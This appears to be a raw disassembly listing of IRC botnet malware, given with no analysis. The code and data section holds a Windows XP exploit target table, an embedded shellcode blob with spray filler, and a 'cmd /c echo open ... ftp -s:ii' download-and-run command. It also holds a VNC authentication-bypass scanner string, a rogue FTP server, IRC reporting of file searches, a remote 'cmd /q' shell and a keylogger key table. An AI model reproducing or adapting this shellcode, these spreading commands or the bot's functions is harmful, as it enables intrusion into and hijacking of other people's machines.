		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh


loc_43278C:				; CODE XREF: ___:004327BFj
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_432770
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp


loc_4327AA:				; CODE XREF: ___:00432751j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_432836
		jo	short loc_43278C
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_4327CD+1
		add	bl, [edi]


loc_4327CD:				; CODE XREF: ___:004327C9j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_4327E2+2
		cmp	ch, bh
		dec	edx


loc_4327E2:				; CODE XREF: ___:004327DDj
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------


loc_432836:				; CODE XREF: ___:004327BDj
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_4328BC
		sub	al, 0BCh
		jmp	near ptr 54452C2Ah
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_432858	dd 0EFFFC481h, 44FFFFh,	4328A4h	; DATA XREF: ___:0040DC32o
dword_432864	dd 42Ah			; DATA XREF: ___:0040DBE5r
dword_432868	dd 3E8h			; DATA XREF: ___:0040DC56r
dword_43286C	dd 258h			; DATA XREF: ___:0040DC28r
byte_432870	db 1			; DATA XREF: ___:0040DB91r
					; ___:0040DC5Fr
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_432888	dd 20804h		; DATA XREF: sub_40D89Fr ___:0040DC7Do ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:00432874o
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------


loc_4328BC:				; CODE XREF: ___:00432840j
		push	eax
		xor	al, 29h


loc_4328BF:				; DATA XREF: ___:0040DBB9o
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 8
dword_4328C8	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: ___:0040DAE9o
dword_4328DC	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: ___:0040DA8Do
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Co
		align 4
aSIpc		db '\\%s\ipc$',0
		align 10h
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40DFE2+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_432984	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D0+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Co
		align 4
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E299o
		align 4
word_433BC8	dw 1			; DATA XREF: ___:0040E210r
		align 4
dword_433BCC	dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
					; DATA XREF: sub_419C64+21o
		dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
		dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
		dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
		dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
		dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
		dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
		dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
		dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
		dd 0
aFtpTransferCom	db 'ftp transfer complete to: %s',0
		align 4
a226TransferCom	db '226 Transfer complete.',0Ah,0
aFtpTransferSta	db 'ftp transfer started to: %s',0
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
		align 4
aRetr		db 'RETR',0
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0
aXX		db '%x%x',0Ah,0
		align 10h
aS_2		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
		db ']',0
aPort		db 'PORT',0
		align 10h
a226TransferC_0	db '226 Transfer complete',0Ah,0
		align 4
aList_0		db 'LIST',0
		align 10h
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
		align 4
aPasv		db 'PASV',0
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0
aI_0:					; DATA XREF: ___:00438330o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0
aA_0:					; DATA XREF: ___:0043833Co
		unicode	0, <A>,0
aType		db 'TYPE',0
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0
		align 4
		dd offset dword_445750
a350Restarting_	db '350 Restarting.',0Ah,0
		align 4
aRest		db 'REST',0
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0
		align 4
aSyst		db 'SYST',0
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0
		align 4
aPass_0		db 'PASS',0
		align 4
a331PasswordReq	db '331 Password required',0Ah,0
		align 4
aUser_2		db 'USER',0
		align 4
aSS_3		db '%s %s',0
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0
		align 4
unk_433EB4	db  2Dh	; -		; DATA XREF: sub_40F0D5+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_433EDC	db 0Dh,0Ah,0		; DATA XREF: sub_40F0D5+2CFo
					; sub_41A4D1+F5o
		align 10h
aGet_0		db 'GET ',0             ; DATA XREF: sub_40F0D5+269o
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40F530+98o
					; sub_41AA42+1AEo
		align 10h
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F530+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40F530:loc_40F596o
		align 10h
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40F530+5Fo
		align 4
unk_4340FC	db  2Dh	; -		; DATA XREF: sub_40F6B3+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_37	db ' failed to start worker thread, error %d',0
		align 4
unk_434134	db  2Dh	; -		; DATA XREF: sub_40F6B3+212o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 4
asc_434168:				; DATA XREF: sub_40F6B3+15Ao
		unicode	0, <*>,0
aS_3		db '\%s',0              ; DATA XREF: sub_40F6B3+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_40F96A+652o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 10h
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_40F96A+61Co
		align 10h
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96A+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FE92o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96A+521o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96A+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96A+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FD24o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96A+3B3o
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_40F96A+36Co
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+328o
					; sub_40F96A+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_40F96A+310o
		align 4
aS		db '<%s>',0             ; DATA XREF: sub_40F96A+2E9o
					; sub_40F96A+40Bo
		align 10h
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96A+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_40F96A+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_40F96A+28Ao
		align 4
a__		db '..',0               ; DATA XREF: sub_40F96A+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96A+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_40F96A+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DB+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_434610	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:0041036Do
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410312o
dword_434654	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:004102B7o
aClientConnecti	db '- client connection from %s:%d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_38	db 'Failed to start client thread, error: <%d>.',0
unk_4346BC	db  2Dh	; -		; DATA XREF: ___:00410493o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_434704	db  2Dh	; -		; DATA XREF: ___:004106E5o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_39	db 'Failed to start connection thread, error: <%d>.',0
unk_434744	db  2Dh	; -		; DATA XREF: ___:0041061Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_434788	db  2Dh	; -		; DATA XREF: ___:004109A8o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_4347B4	db  2Dh	; -		; DATA XREF: ___:00410981o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 10h
unk_4347E0	db  2Dh	; -		; DATA XREF: ___:00410961o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410931o
		align 4
unk_43481C	db  2Dh	; -		; DATA XREF: ___:004108A0o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 4
unk_434848	db  2Dh	; -		; DATA XREF: sub_4109C4:loc_410A09o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_434874	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_410A1E+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 10h
unk_434A10	db  2Dh	; -		; DATA XREF: sub_410CD5+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_434A44	db  2Dh	; -		; DATA XREF: sub_410CD5+59o
					; sub_410CD5+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_434A8C	db  2Dh	; -		; DATA XREF: sub_410E26+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_434AB4	db  2Dh	; -		; DATA XREF: sub_410E26+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_434AF4	db  2Dh	; -		; DATA XREF: sub_410E26+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_434B34	db  2Dh	; -		; DATA XREF: sub_410F1F+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_410F1F+8Co
		align 4
dword_434B74	dd 234032Dh, 676F6C72h,	2646E69h, 53202D03h, 69737365h
					; DATA XREF: sub_410FF8+A1o
		dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
		dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
		dd 74726F50h, 2E642520h, 0
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h
		dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh
		dd 6B636F73h, 3023473h,	6C43202Dh, 746E6569h, 6E6F6320h
		dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h
		dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h
		dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
		dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h
		dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7245202Dh
		dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h
		dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7541202Dh
		dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch
		dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h
		dd 7325203Dh, 2Eh, 4000500h, 7868746Bh,	0
aTftpTransferCo	db 'Tftp transfer complete to: %s',0
		align 4
aTftpTransferSt	db 'Tftp transfer started to: %s',0
		align 8
		dw 8
		unicode	0, <>,0
aB:
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
